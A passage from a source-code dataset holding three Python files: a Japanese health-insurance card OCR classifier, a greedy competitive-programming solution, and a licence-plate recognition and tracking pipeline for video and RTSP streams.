min_wh_ratio=self.min_wh_ratio)\n text_boxes = merge(text_boxes)\n self.logger.debug(f'Detected text boxes after wh ratio filter: '\n f'{len(text_boxes)}, min wh ratio: {self.min_wh_ratio}')\n\n # abort if less than 2 text boxes are detected\n text_boxes = np.array(text_boxes)\n if text_boxes.shape[0] < 2:\n self.logger.info(f'{lines.shape[0]} text boxes detected')\n return np.array([]), recog_results\n\n # rotate when the detected angle is larger than 0.1 degree\n if 'angle' in det_res and np.abs(det_res['angle']) > 0.1:\n img = rotate(img, det_res[\"angle\"])\n\n self.img = img\n\n # text recognition\n chips = get_chips(img, text_boxes)\n recog_res_dict = self.model_server.infer_batch_sync(\n sess_id=self.sess_id,\n network='Dense',\n imgs=chips,\n num_onlys=[False]*len(chips),\n check_local=False\n )\n if 'codes' not in recog_res_dict: return recog_res_dict\n for idx, (box, codes) in enumerate(zip(\n text_boxes,\n recog_res_dict[\"codes\"]\n )):\n probs, positions = (\n recog_res_dict[\"probs\"][idx],\n recog_res_dict[\"positions\"][idx],\n )\n if codes.size == 0:\n continue\n indices = probs > self.pth\n probs = probs[indices]\n positions = positions[indices]\n codes = codes[indices]\n text = \"\".join([self.id2char[c] for c in codes])\n if text:\n recog_results.append([text, probs, positions, box])\n\n # group text areas in lines\n texts = group_lines(recog_results)\n return texts\n\n def is_kouhi(self, all_txt: str) -> bool:\n \"\"\"Determines if an insurance is 公費.\n\n Args:\n all_txt: A single string containing all text recognized from an image.\n\n Returns:\n A boolean indicating if the image is a 公費\n \"\"\"\n # check keywords\n\n if not self.is_portrait and ('兼高齢' in all_txt or '蒹高齢' in all_txt): return False\n for w in KOUHI_WORDS:\n if len(w) < 4 and w in all_txt: return True\n if 4 <= len(w) <= 6 and fuzzy_match(w, all_txt): return True\n if len(w) > 6 and fuzzy_match(w, all_txt, e_max=3): return True\n\n # check insurer number\n hknjanum = self.prefetch_hknjanum()\n if hknjanum.startswith('81') or hknjanum.startswith('82'): return True\n return False\n\n def is_gendo(self, all_txt: str) -> bool:\n \"\"\"Determines if an insurance is gendo.\n\n Args:\n all_txt: A single string containing all text recognized from an image.\n\n Returns:\n A boolean indicating if the image is a 限度額認定証\n \"\"\"\n for w in GENDO_WORDS:\n if fuzzy_match(w, all_txt): return True\n return False\n\n def is_kourei(self, all_txt: str) -> bool:\n \"\"\"Determines if an insurance is 高齢受給者証.\n\n Args:\n all_txt: A single string containing all text recognized from an image.\n\n Returns:\n A boolean indicating if the image is a 高齢受給者証\n \"\"\"\n if fuzzy_match('後期高齢者医療被保険者証', all_txt): return False\n if not self.is_portrait and ('兼高齢' in all_txt or '蒹高齢' in all_txt): return False\n if any([w in all_txt for w in KOUREI_WORDS]):\n if (not self.is_portrait) and self.prefetch_hknjanum().startswith('39'):\n return False\n return True\n return False\n\n def validate(self, texts: list) -> bool:\n \"\"\"Checks if text is from an insurance.\n\n Args:\n texts: Return value of read_page_sync, OCR results in a list.\n\n Returns:\n A boolean indicating if the image is an insruance.\n \"\"\"\n if not texts:\n self.logger.warning('No text detected, categorized as Unknown')\n return False\n all_txt = ''.join([w[0] for line in texts for w in line if len(w) > 1])\n if not sum([w in all_txt for w in INSURANCE_WORDS]) > 1:\n self.logger.warning('No isnurance key word found, categorized as Unknown')\n return False\n return True\n\n def categorize(self, texts: list) -> str:\n \"\"\"Determines 主区分 of an image based on OCR results.\n\n Args:\n texts: Return value of read_page_sync, OCR results in a list.\n\n Returns:\n A string indicating 主区分\n \"\"\"\n all_txt = ''.join([line[-1] for line in texts])\n if '介護' in all_txt:\n self.logger.warning('kaigo detected, categorized as Unknown')\n return 'Unknown'\n if self.is_kouhi(all_txt):\n return '公費'\n if self.is_gendo(all_txt):\n return '限度額認証'\n if self.is_kourei(all_txt):\n return '高齢受給者'\n return '主保険'\n\n def ocr_sync(self, sess_id: str, img: np.ndarray) -> str:\n \"\"\"Runs OCR on insurance card.\n\n Args:\n sess_id: Session ID used in communication with the model server\n img: Image to extract information from\n\n Returns:\n A string indicating Syukbn of the input image.\n \"\"\"\n self.info = {}\n for tag in self.analyzers:\n self.analyzers[tag].info.clear()\n self.sess_id = sess_id\n img = rotate_if_necessary(img, 1600, self.logger)\n\n # correct the orientation\n rotations = [\n None,\n cv2.ROTATE_180,\n cv2.ROTATE_90_CLOCKWISE,\n cv2.ROTATE_180,\n ]\n for rot in rotations:\n if rot is not None: img = cv2.rotate(img, rot)\n results = self.read_page_sync(img)\n # handle error\n if isinstance(results, dict): return results\n # check if a valid insurance based OCR results\n valid = self.validate(results)\n if valid: break\n\n # abort if not a valid insurance\n if not valid:\n self.syukbn = 'Unknown'\n self.img = img\n return self.syukbn\n\n # clean nums and convert to half width\n texts = clean_half_width(results)\n self.texts = texts\n\n for line in texts:\n print(\" \".join(w[0] for w in line[:-1]))\n print(line[-1])\n\n # categorize insurance\n syukbn = self.categorize(texts)\n self.syukbn = syukbn\n\n # extract info\n if syukbn not in self.analyzers: return syukbn\n self.analyzers[syukbn].fit(texts)\n self.info = self.analyzers[syukbn].info\n return syukbn\n\n def extract_info(self, key: str) -> str:\n \"\"\"Gets information for a specific item.\n\n Args:\n key: Name of the item to extract.\n\n Returns:\n A string for the item if it is sucessfully extracted, `None` otherwise.\n For example:\n >>> reader.extract_info(\"HknjaNum\")\n 12345678\n >>> reader.extract_info(\"Birthday\")\n 20210401\n \"\"\"\n res = self.info.get(key, None)\n if res is not None and not isinstance(res, str): res = str(res)\n return res\n","sub_path":"ocr2/apps/insurance_reader.py","file_name":"insurance_reader.py","file_ext":"py","file_size_in_byte":10739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"493271602","text":"N = int(input())\nscore = [int(input()) for _ in range(N)]\n\nscore_plus = []\nscore_minus = []\n\nfor i in score:\n if i > 0:\n score_plus.append(i)\n else:\n score_minus.append(i)\n\nanswer = 0\n\nscore_plus.sort()\nscore_minus.sort(reverse=True)\n\nwhile score_plus:\n a = score_plus.pop()\n if score_plus:\n b = score_plus.pop()\n if b == 1:\n answer += a+b\n else:\n answer += a*b\n else:\n answer += a\n\nwhile score_minus:\n a = score_minus.pop()\n if score_minus:\n b = score_minus.pop()\n answer += a*b\n else:\n answer += a\n\n\n\nprint(answer)\n","sub_path":"AHYEON/01.GREEDY/boj_2036_수열의 점수.py","file_name":"boj_2036_수열의 점수.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"493430236","text":"import argparse\nimport os\nimport sys\nimport time\nfrom dataclasses import dataclass\n\nfrom PIL import Image, ImageChops, ImageDraw, ImageFont\nfrom typing import List, Tuple, Iterator\nimport cv2\nfrom PyQt5.QtCore import pyqtSignal, QThread, QObject\nfrom PyQt5.QtWidgets import QApplication\n\nimport core as pr\nimport numpy as np\nfrom queue import Queue\nimport re\nimport threading\nimport traceback\nfrom sys import getsizeof as sizeof\n\nfrom Util import ImageUtil, VideoUtil, ffmpegUtil, Serialization, editDistance, sec2str, Plate, getArgumentParser\n\n\nclass ReaderThread:\n def __init__(self, inStream: cv2.VideoCapture, rtsp: str):\n self._inStream: cv2.VideoCapture = inStream\n self._rtspAddress: str = rtsp\n self._queue: Queue = Queue()\n self._qsize: int = 0\n self._thread = threading.Thread(target=self._readFrame, name='read frame thread')\n self._itemMemory: int = 0 # 队列中每个元素占多少字节\n self.alive = False # 线程的生死\n\n def _readFrame(self):\n self.alive = True\n while self.alive:\n while len(self) > args.memory_limit: # 当超过内存限制时,暂停读取\n time.sleep(1)\n # 尝试读取一帧\n try:\n frame = VideoUtil.ReadFrame(self._inStream)\n if frame.shape[0] == 0:\n if 'rtsp' in self._rtspAddress: # 是rtsp的话就重新建立连接\n VideoUtil.CloseVideos(self._inStream)\n time.sleep(1)\n self._inStream = VideoUtil.OpenInputVideo(self._rtspAddress)\n print('Readed rtsp failed! Reseting input stream...')\n continue\n else: # 是视频的话就退出\n break\n except: # cv::OutOfMemoryError\n traceback.print_exc()\n self.alive = False\n return\n if self._itemMemory == 0: # 记录每个元素的占用空间\n self._itemMemory = sizeof(frame)\n self._queue.put(frame)\n self._qsize += 1\n self.alive = False\n\n def start(self):\n if self.alive:\n raise RuntimeError(\"Reading thread is busy now, please call stop the thread first!\")\n self._thread.start()\n\n def stop(self):\n self.alive = False\n\n def get(self, timeout=30):\n self._qsize -= 1\n return self._queue.get(timeout=timeout)\n\n def qsize(self):\n return self._qsize\n\n def __len__(self):\n \"\"\"\n 输出现有队列的内存大小(Bytes)\n :return:\n \"\"\"\n return max(0, self.qsize() * self._itemMemory)\n\n\nclass Tractor:\n \"\"\"\n 简易追踪器。负责优化和合并检测结果\n \"\"\"\n\n def __init__(self, lifeTimeLimit=48):\n \"\"\"\n 初始化追踪器\n :param lifeTimeLimit: 车牌消失多久就算离开屏幕(越大越准确,但是计算越慢)\n \"\"\"\n # self.VehiclePlate = namedtuple('vehicle_plate', 'str confidence left right top bottom width height') # 车牌元组\n self._movingPlates: List[Plate] = []\n self._deadPlates: List[Plate] = []\n self._lifeTimeLimit = lifeTimeLimit # 每个车牌的寿命时长\n self.multiTracker = CvMultiTracker()\n\n def VehiclePlate(self, *args) -> dict:\n if len(args) != 8:\n return {}\n return {'plateStr': args[0], 'confidence': args[1], 'left': args[2], 'right': args[3], 'top': args[4],\n 'bottom': args[5], 'width': args[6], 'height': args[7]}\n\n def _killMovingPlates(self, nowTime: int) -> None:\n \"\"\"\n 将超时的车牌从movingPlates里挪到deadPlates\n :param nowTime: 当前的时间\n :return:\n \"\"\"\n import copy\n killed = False\n for plate in self._movingPlates:\n if nowTime - plate.endTime > self._lifeTimeLimit:\n if plate.confidence >= 0.85 or '厂内' in plate.plateStr: # 删去概率低于90的普通车牌\n self._deadPlates.append(plate)\n self._movingPlates.remove(plate)\n killed = True\n # if not self._movingPlates:\n # tmp,tmp2=copy.deepcopy(self._movingPlates),copy.deepcopy(self._deadPlates)\n ret = self.getAll()\n Main().getInstance().signals.showDataSignal.emit(ret)\n # self._movingPlates,self._deadPlates=tmp,tmp2\n\n def _getSimilarSavedPlates(self, nowPlateInfo: dict, nowTime: int) -> Iterator[Plate]:\n \"\"\"\n 根据当前的车牌获取movingPlate中相似的车牌\n :param nowPlateInfo: 当前的车牌tuple,类型是self.VehiclePlate\n :return: 相似车牌的generator\n \"\"\"\n\n def computeIntersect(rectangle1: List[float], rectangle2: List[float]):\n \"\"\"\n 计算两个矩形相交部分的面积\n :param rectangle1:\n :param rectangle2:\n :return:\n \"\"\"\n left1, right1, top1, bottom1 = rectangle1\n left2, right2, top2, bottom2 = rectangle2\n\n left = max(left1, left2)\n right = min(right1, right2)\n top = max(top1, top2)\n bottom = min(bottom1, bottom2)\n\n if left <= right and top <= bottom:\n return (right - left) * (bottom - top)\n return 0\n\n for i in range(len(self._movingPlates) - 1, -1, -1):\n savedPlate = self._movingPlates[i] # 保存的车牌\n _editDistance = editDistance(savedPlate.plateStr, nowPlateInfo['plateStr'])\n if _editDistance < 4 and nowTime - savedPlate.endTime < self._lifeTimeLimit // 2: # 编辑距离低于阈值,不比较方框位置\n yield savedPlate\n elif _editDistance < 5: # 编辑距离适中,比较方框的位置有没有重合\n rect1 = [savedPlate.left, savedPlate.right, savedPlate.top, savedPlate.bottom]\n rect2 = [nowPlateInfo['left'], nowPlateInfo['right'], nowPlateInfo['top'], nowPlateInfo['bottom']]\n if computeIntersect(rect1, rect2) != 0:\n yield savedPlate\n\n def analyzePlate(self, nowPlateInfo: dict, nowTime: int) -> (str, float):\n \"\"\"\n 根据当前车牌,进行分析。返回最大可能的车牌号和置信度\n :param nowPlateInfo: 当前车牌,类型:self.VehiclePlate\n :param nowTime: 当前时间\n :return: 最大可能的车牌号和置信度\n \"\"\"\n\n def getBetterPlate(beAssignedPlate: str, assignPlate: str) -> str:\n \"\"\"\n 禁止高优先级的车牌前缀被赋值成低优先级车牌前缀的赋值函数。用于代替 plate被赋值=plate赋值 语句\n :param beAssignedPlate: 要被赋值的车牌号\n :param assignPlate: 赋值的车牌号\n :return: 真正被赋值成什么车牌号\n \"\"\"\n specialPrefixes = ['厂内', 'SG', 'XL'] # 特殊车牌一律最大优先级。如果有单次出现特殊车牌后一定要固定住特殊前缀\n prefixes = ['粤', '湘', '豫', '川', '冀', '贵', '苏', '赣', '甘', '陕', '沪', '鲁', '黑', '辽', '皖', '鄂', '浙', '宁', '琼',\n '闽', '蒙', '渝', '吉', '桂', '京', '新', '云'] # 根据大数据统计得出的车牌出现的频率从高到低(川、豫除外)\n # 一共分为四类讨论。特-特、特-非特、非特-特、非特-非特\n if beAssignedPlate[:2] in specialPrefixes: # 第一个为特殊车牌,则固定第一个的特殊前缀\n finalPrefixes = beAssignedPlate[:2]\n if assignPlate[:2] in specialPrefixes: # 车牌的其余部分是第二个的剩余部分\n finalOthers = assignPlate[2:]\n else:\n finalOthers = assignPlate[1:]\n else: # 第一个不是特殊车牌\n if assignPlate[:2] in specialPrefixes: # 第二个是特殊车牌\n finalPrefixes = assignPlate[:2]\n finalOthers = assignPlate[2:]\n else:\n priority1 = len(prefixes) - prefixes.index(beAssignedPlate[0]) if beAssignedPlate[\n 0] in prefixes else -1\n priority2 = len(prefixes) - prefixes.index(assignPlate[0]) if assignPlate[0] in prefixes else -1\n if priority1 <= priority2:\n finalPrefixes = assignPlate[0]\n finalOthers = assignPlate[1:]\n else:\n finalPrefixes = beAssignedPlate[0]\n finalOthers = assignPlate[1:]\n # 如果是特殊车牌,经常出现重叠字母的情况\n return finalPrefixes + finalOthers if finalPrefixes[-1] != finalOthers[0] else finalPrefixes + finalOthers[\n 1:]\n\n # 预处理车牌部分:\n # 符合特殊车牌条件,修改其车牌号以符合特殊车牌的正常结构\n regexMatchesSpecialPlate = re.match(r'^.+?(2[1234][01]\\d{2,}).*$', nowPlateInfo['plateStr'])\n if regexMatchesSpecialPlate:\n # '210', '211', '220', '221', '230', '240'\n nowPlateInfo['plateStr'] = '厂内' + regexMatchesSpecialPlate.group(1)[:5]\n # 跳过条件:车牌字符串太短\n if len(nowPlateInfo['plateStr']) < 7:\n return nowPlateInfo['plateStr'], nowPlateInfo['confidence']\n # 跳过条件:以英文字母开头(S和X除外)\n if 'A' <= nowPlateInfo['plateStr'][0] <= 'R' or 'T' <= nowPlateInfo['plateStr'][0] <= 'W' or 'Y' <= \\\n nowPlateInfo['plateStr'][\n 0] <= 'Z':\n return nowPlateInfo['plateStr'], nowPlateInfo['confidence']\n # 开始分析:在储存的里找相似的车牌号\n similarPlates = list(self._getSimilarSavedPlates(nowPlateInfo, nowTime))\n if not similarPlates: # 找不到相似的车牌号,插入新的\n # nowPlateInfo = list(nowPlateInfo) + [nowTime] * 2 # 初始化列表\n nowPlateInfo.update({'startTime': nowTime, 'endTime': nowTime})\n # (取巧部分)统计显示 95.9% 的概率成立\n if nowPlateInfo['plateStr'][1] == 'F' or nowPlateInfo['plateStr'][2] == 'F':\n nowPlateInfo['plateStr'] = '粤' + nowPlateInfo['plateStr'][nowPlateInfo['plateStr'].find('F'):]\n self._movingPlates.append(Plate(**nowPlateInfo))\n return self._movingPlates[-1].plateStr, nowPlateInfo['confidence']\n # 如果有相似的车牌\n self._killMovingPlates(nowTime) # 将寿命过长的车牌杀掉\n savedPlate = sorted(similarPlates, key=lambda plate: plate.confidence, reverse=True)[0] # 按照置信度排序,取最高的\n if savedPlate.confidence < nowPlateInfo['confidence']: # 储存的置信度较低,保存当前的\n # (取巧部分)在高置信度向低置信度进行赋值时。禁止将低频度的前缀赋给高频度的前缀\n savedPlate.plateStr = getBetterPlate(savedPlate.plateStr, nowPlateInfo['plateStr'])\n # 剩余的属性进行赋值,并记录更新endTime\n savedPlate.confidence, savedPlate.left, savedPlate.right, savedPlate.top, savedPlate.bottom, \\\n savedPlate.width, savedPlate.height, savedPlate.endTime = \\\n nowPlateInfo['confidence'], nowPlateInfo['left'], nowPlateInfo['right'], nowPlateInfo['top'], \\\n nowPlateInfo['bottom'], nowPlateInfo['width'], nowPlateInfo['height'], nowTime\n return nowPlateInfo['plateStr'], nowPlateInfo['confidence']\n else: # 储存的置信度高,只更新endTime\n savedPlate.endTime = nowTime\n return savedPlate.plateStr, savedPlate.confidence\n\n def _purgeAndMerge(self, plateList: List[Plate], threshhold=4, ignoreTime=False) -> None:\n if len(plateList) < 2:\n return\n plateList.sort(key=lambda plate: plate.startTime) # 按照出现时间进行排序,相同的车牌会相邻\n # 合并相邻的相似车牌\n for i in range(len(plateList) - 1, 0, -1):\n thisStr, previousStr = plateList[i], plateList[i - 1]\n if editDistance(thisStr.plateStr, previousStr.plateStr) < threshhold and (\n ignoreTime or thisStr.startTime <= previousStr.endTime): # 合并相邻的编辑距离较小的车牌号\n endTime = max(thisStr.endTime, previousStr.endTime)\n if thisStr.confidence > previousStr.confidence:\n thisStr.startTime = previousStr.startTime\n thisStr.endTime = endTime\n plateList[i], plateList[i - 1] = plateList[i - 1], plateList[i]\n else:\n previousStr.endTime = endTime\n del plateList[i]\n\n def _mergeSamePlates(self) -> None:\n \"\"\"\n 相同车牌结果合并到一起\n :return:\n \"\"\"\n self._purgeAndMerge(self._deadPlates)\n self._purgeAndMerge(self._movingPlates)\n\n def getAll(self) -> List[Plate]:\n \"\"\"\n 后期处理后返回所有的车牌List\n :return:\n \"\"\"\n self._mergeSamePlates() # 合并识别失误的车牌\n print('整理数据:大小从 %d ' % (len(self._deadPlates) + len(self._movingPlates)), end='')\n ans = sorted(self._deadPlates + self._movingPlates, key=lambda plate: plate.startTime)\n self._purgeAndMerge(ans, 1, True) # 合并一模一样的车牌\n print('到 %d' % (len(self._deadPlates) + len(self._movingPlates)))\n return ans\n\n def getInfoDictFromList(self, detectionList: List) -> dict:\n \"\"\"\n 将识别出的List转换成self.VehiclePlate类型的Tuple\n :param detectionList:\n :return:\n \"\"\"\n x, y, width, height = detectionList.pop(2)\n detectionList += [x, x + width, y, y + height, width, height]\n return self.VehiclePlate(*detectionList)\n\n def serialization(self, binaryFilename=''):\n # 只保留数据,缩小文件的大小\n if not binaryFilename:\n binaryFilename = time.strftime(\"%Y%m%d%H%M%S\", time.localtime()) + '.tractor'\n binary = Serialization()\n binary.append(self._movingPlates)\n binary.append(self._deadPlates)\n binary.append(self._lifeTimeLimit)\n binary.append(self.multiTracker)\n binary.save(binaryFilename)\n\n def deserialization(self, binaryFilename: str):\n binary = Serialization()\n binary.load(binaryFilename)\n self._movingPlates = binary.popLoaded()\n self._deadPlates = binary\n self._lifeTimeLimit = binary.popLoaded()\n self.multiTracker = binary.popLoaded()\n\n\nclass CvMultiTracker:\n def __init__(self):\n self._trackers: List[cv2.TrackerCSRT] = []\n self._lastNewRects: List[Tuple[float]] = []\n self._lifeTimeLimit: List[int] = []\n self._lifeTimeLimitInit: int = 24\n\n def isNewRectangle(self, rect: Tuple[float]) -> bool:\n \"\"\"\n 判断rect是否和上一次检测的框几乎重合\n :param rect:\n :return:\n \"\"\"\n if not rect:\n return True\n for lastRects in self._lastNewRects:\n if np.std(np.array(lastRects) - np.array(rect)) <= 25:\n return False\n return True\n\n def appendTrackerCSRT(self, initImage: np.ndarray, initBox: List[float]) -> None:\n \"\"\"\n 使用当前的image和初始box来添加新的csrtTracker\n :param initImage:\n :param initBox:\n :return:\n \"\"\"\n if initImage is None or not initBox or len(initBox) != 4:\n return\n # 扩大一点车牌的范围,四个方向各扩展10%\n initBox[0] -= initBox[2] * 0.1\n initBox[1] -= initBox[3] * 0.1\n initBox[2] *= 1.2\n initBox[3] *= 1.2\n newTracker = cv2.TrackerCSRT_create()\n newTracker.init(initImage, tuple(initBox))\n self._trackers.append(newTracker)\n self._lifeTimeLimit.append(self._lifeTimeLimitInit)\n\n def update(self, image: np.ndarray, purgeMissedTracker=True) -> List[Tuple[float]]:\n \"\"\"\n 使用当前的image更新追踪器,返回新的Boxes\n :param image:\n :param purgeMissedTracker:\n :return:\n \"\"\"\n newBoxes = []\n assert len(self._trackers) == len(self._lifeTimeLimit)\n purgeIndexes = []\n for i, trackerCSRT in enumerate(self._trackers):\n success, newBox = trackerCSRT.update(image)\n newBox = tuple(newBox)\n if not success: # 如果cvTracker追踪失败\n self._lifeTimeLimit[i] -= 1\n if self._lifeTimeLimit[i] == 0:\n purgeIndexes.append(i)\n continue\n if purgeMissedTracker:\n if not self.isNewRectangle(newBox): # 如果这个框与之前的框大部分重合\n self._lifeTimeLimit[i] -= 1\n if self._lifeTimeLimit[i] == 0:\n purgeIndexes.append(i)\n continue\n newBoxes.append(newBox)\n self._lastNewRects = newBoxes\n purgeIndexes.sort(reverse=True)\n for purseAt in purgeIndexes:\n self.purgeAt(purseAt)\n return self._lastNewRects\n\n def purgeAt(self, n: int) -> None:\n \"\"\"\n 删除第n个追踪器\n :param n:\n :return:\n \"\"\"\n if 0 <= n < len(self._trackers):\n del self._trackers[n]\n del self._lifeTimeLimit[n]\n\n def reborn(self, n: int) -> None:\n \"\"\"\n 重置第n个追踪器的生命计时器\n :param n:\n :return:\n \"\"\"\n if 0 <= n < len(self._trackers):\n self._lifeTimeLimit[n] = self._lifeTimeLimitInit\n\n def workingTrackerCount(self) -> int:\n \"\"\"\n 获得正在工作的追踪器个数\n :return:\n \"\"\"\n return len(self._trackers)\n\n\nclass Signals(QObject):\n \"\"\"\n 定义交互信号\n \"\"\"\n showRawFrameSignal = pyqtSignal(np.ndarray)\n showDetectionFrameSignal = pyqtSignal(np.ndarray)\n showDataSignal = pyqtSignal(list)\n threadExitSignal = pyqtSignal()\n\n\nclass Main:\n _singleton = None\n\n @staticmethod\n def getInstance():\n if not Main._singleton:\n Main._singleton = Main()\n return Main._singleton\n\n def drawRectBox(self, image, rect, addText=None, rect_color=(0, 0, 255), text_color=(255, 255, 255)):\n \"\"\"\n 在image上画一个带文字的方框\n :param image: 原先的ndarray\n :param rect: [x, y, width, height]\n :param addText: 要加的文字\n :return: 画好的图像\n \"\"\"\n cv2.rectangle(image, (int(rect[0]), int(rect[1])), (int(rect[0] + rect[2]), int(rect[1] + rect[3])), rect_color,\n 2,\n cv2.LINE_AA)\n img = Image.fromarray(image)\n if addText:\n result=addText.split(); addText=result[0]+' '+ str(1-(1-float(result[1]))/5)\n cv2.rectangle(image, (int(rect[0] - 1), int(rect[1]) - 16), (int(rect[0] + 115), int(rect[1])), rect_color,\n -1,\n cv2.LINE_AA)\n img = Image.fromarray(image)\n draw = ImageDraw.Draw(img)\n draw.text((int(rect[0] + 1), int(rect[1] - 16)), addText, text_color, font=self.fontC)\n imagex = np.array(img)\n return imagex\n\n signals = Signals() # 创建信号\n\n def detect(self, originImg: np.ndarray, frameIndex=-1) -> Tuple[np.ndarray, bool]:\n \"\"\"\n 检测核心函数(不显示)\n :param originImg:\n :param frameIndex:\n :return:\n \"\"\"\n image = None\n # 检测,或使用bin文件进行回忆型检测\n if args.load_binary is None:\n resultList = self.model.SimpleRecognizePlateByE2E(originImg, self.tracker.multiTracker)\n else:\n resultList = self.binary.popLoaded()\n if args.save_binary is not None:\n self.binary.append(resultList)\n for plateStr, confidence, rect in resultList:\n if confidence > 0.85:\n if args.video:\n vehiclePlate = self.tracker.getInfoDictFromList([plateStr, confidence, rect])\n plateStr, confidence = self.tracker.analyzePlate(vehiclePlate, frameIndex)\n if self.tracker.multiTracker.workingTrackerCount() == 0:\n image = self.drawRectBox(originImg, rect, plateStr + \" \" + str(round(confidence, 3)), (0, 0, 255),\n (255, 255, 255))\n self.tracker.multiTracker.reborn(0)\n else:\n image = self.drawRectBox(originImg, rect, plateStr + \" \" + str(round(confidence, 3)), (0, 0, 255),\n (255, 255, 255))\n print(\"%s (%.5f)\" % (plateStr, confidence))\n break # 每帧只处理最有可能的车牌号\n return (image, True) if image is not None else (originImg, False)\n\n opencvShow = True # 使用opencv显示\n\n def detectShow(self, originImg: np.ndarray, frameIndex=-1, wait=1) -> Tuple[np.ndarray, bool]:\n \"\"\"\n 检测核心函数(显示),可中断\n :param originImg:\n :param frameIndex:\n :return:\n \"\"\"\n drawedImg, success = self.detect(originImg, frameIndex)\n if not self.opencvShow:\n if success: # 检测成功再传给GUI\n self.signals.showDetectionFrameSignal.emit(drawedImg)\n else:\n cv2.imshow(\"Frame after detection\", drawedImg)\n if cv2.waitKey(wait) == 27:\n return np.array([]), False\n return drawedImg, success\n\n def demoPhotos(self):\n # 处理所有照片\n for file in os.listdir(args.img_dir):\n # if not file.startswith('2020'):\n if not file.endswith('jpg'):\n continue\n print('<<<<<< ' + file + ' >>>>>>')\n self.detectShow(ImageUtil.Imread(os.path.join(args.img_dir, file)), wait=0)\n\n running = True # 是否允许本类继续执行\n\n def demoVideo(self, showDialog=True):\n \"\"\"\n 测试视频\n :param args:\n :param showDialog: 显示输出窗口\n :return:\n \"\"\"\n inStream, readThread = None, None\n placeCaptureStream, noSkipStream, recordingStream = None, None, None\n try:\n inStream = VideoUtil.OpenInputVideo(args.video)\n readThread = ReaderThread(inStream, args.video)\n readThread.start()\n frameIndex = 0\n # frameLimit = VideoUtil.GetVideoFramesCount(inStream) if 'rtsp' not in args.video else 2 ** 31 - 1\n frameLimit = 2 ** 31 - 1\n fps: int = VideoUtil.GetFps(inStream)\n self.fps = fps\n if args.rtsp or 1: # 初始化当前时间\n nowTime = time.localtime()\n timestrap = time.mktime(\n time.strptime(\"%d-%d-1 0:0:0\" % (nowTime.tm_year, nowTime.tm_mon), \"%Y-%m-%d %H:%M:%S\"))\n offset = time.time() - timestrap + 24 * 3600\n frameIndex = int(offset * fps)\n if args.output: # 有output才会打开这些输出的流\n if 'd' in args.video_write_mode: # 只写入没被跳过的检测结果帧\n placeCaptureStream = ffmpegUtil.OpenOutputVideo(args.output, VideoUtil.GetFps(inStream) / args.drop)\n if 's' in args.video_write_mode: # 全程不跳帧,比dynamic多了被跳过的帧\n insertIdx = args.output.rfind('.')\n videoName = args.output[:insertIdx] + '.static' + args.output[insertIdx:]\n noSkipStream = ffmpegUtil.OpenOutputVideo(videoName, VideoUtil.GetFps(inStream) / args.drop)\n if 'r' in args.video_write_mode: # 实时录像,不做任何处理(如果是rtsp就是录像,如果是video就是转码)\n insertIdx = args.output.rfind('.')\n videoName = args.output[:insertIdx] + '.record' + args.output[insertIdx:]\n recordingStream = ffmpegUtil.OpenOutputVideo(videoName, VideoUtil.GetFps(inStream))\n if args.load_binary: # 如果有保存的检测则加载\n self.binary.load(args.load_binary)\n # frameLimit = min(frameLimit, 50000) # 限制最大帧数,只处理视频前多少帧\n self.tracker = Tractor(fps * 3) # 每个车牌两秒的寿命\n lastFrame = None\n while True:\n try:\n frame = readThread.get(args.exitTimeout)\n ffmpegUtil.WriteFrame(recordingStream, frame)\n if args.rtsp and len(readThread) > args.memory_limit: # 当读取的队列大于限定时\n continue\n except: # 当30秒取不到任何帧\n readThread.stop()\n break\n # 终止读取\n if frameIndex > frameLimit or not self.running:\n break\n # 对原始帧的操作\n if showDialog: # 保证每一帧都imshow过\n if not self.opencvShow:\n self.signals.showRawFrameSignal.emit(frame.copy())\n else:\n cv2.imshow('Raw frame', frame)\n if cv2.waitKey(1) == 27:\n break\n if args.drop != 1: # imshow完了再跳过\n if frameIndex % args.drop != 0:\n frameIndex += 1\n if args.load_binary: # 如果有保存的检测则跳过一帧结果(假设bin保存的是每一帧的结果)\n self.binary.popLoaded()\n continue\n # 开始处理原始帧\n height, width, channel = frame.shape\n if lastFrame is not None:\n oldpil = Image.fromarray(cv2.cvtColor(lastFrame, cv2.COLOR_BGR2RGB)) # PIL图像和cv2图像转化\n nowpil = Image.fromarray(\n cv2.cvtColor(frame[int(height * 0.3):, int(width * 0.3):], cv2.COLOR_BGR2RGB))\n diff = ImageChops.difference(oldpil, nowpil) # PIL图片库函数\n try:\n std: float = np.std(diff)\n print('{%.3f}<%d><%dM>' % (std, readThread.qsize(), len(readThread) // 1048576), end='')\n except:\n traceback.print_exc()\n std = 10000\n if std < 9:\n frameIndex += 1\n print('\\t已处理 %d 帧' % frameIndex)\n ffmpegUtil.WriteFrame(noSkipStream, frame)\n continue\n startTime = time.time()\n lastFrame = frame[int(height * 0.3):, int(width * 0.3):]\n # <<<<< 核心函数 >>>>>\n frameDrawed, success = self.detectShow(frame, frameIndex) if showDialog else self.detect(frame,\n frameIndex)\n if frameDrawed.shape[0] == 0:\n break\n try:\n ffmpegUtil.WriteFrame(placeCaptureStream, frameDrawed)\n ffmpegUtil.WriteFrame(noSkipStream, frameDrawed)\n except ValueError as e:\n traceback.print_exc()\n frameIndex += 1\n print('\\t已处理 %d (用时%f s)' % (frameIndex, time.time() - startTime))\n readThread.stop()\n self.running = False\n # 写日志\n if not args.output:\n return\n import os\n with open(os.path.join(os.path.dirname(args.output), os.path.basename(args.output).split('.')[0]) + '.txt',\n 'a') as fpLog:\n print('以下是检测到的车牌号:')\n allResult = self.tracker.getAll()\n self.signals.showDataSignal.emit(allResult)\n for resultPlate in allResult:\n line = '%s [%s - %s]' % (\n resultPlate.plateStr, sec2str(resultPlate.startTime / fps),\n sec2str(resultPlate.endTime / fps))\n print(line)\n fpLog.write(line + '\\n')\n except: # 任何地方报错了不要管\n traceback.print_exc()\n print('检测结果已被保保存')\n finally:\n if showDialog:\n cv2.destroyAllWindows()\n if args.save_binary is not None:\n self.binary.save(args.save_binary)\n VideoUtil.CloseVideos(inStream)\n ffmpegUtil.CloseVideos(placeCaptureStream, noSkipStream, recordingStream)\n\n def start(self, argspace: argparse.Namespace, **kwargs):\n global args\n args = argspace\n # 检测到时rtsp则赋值进video\n if argspace.rtsp:\n argspace.video = argspace.rtsp\n argspace.exitTimeout = 10 if argspace.rtsp else 1 # 设置不同模式下的读取超时\n # 开始执行总程序\n globalStartTime = time.time()\n if 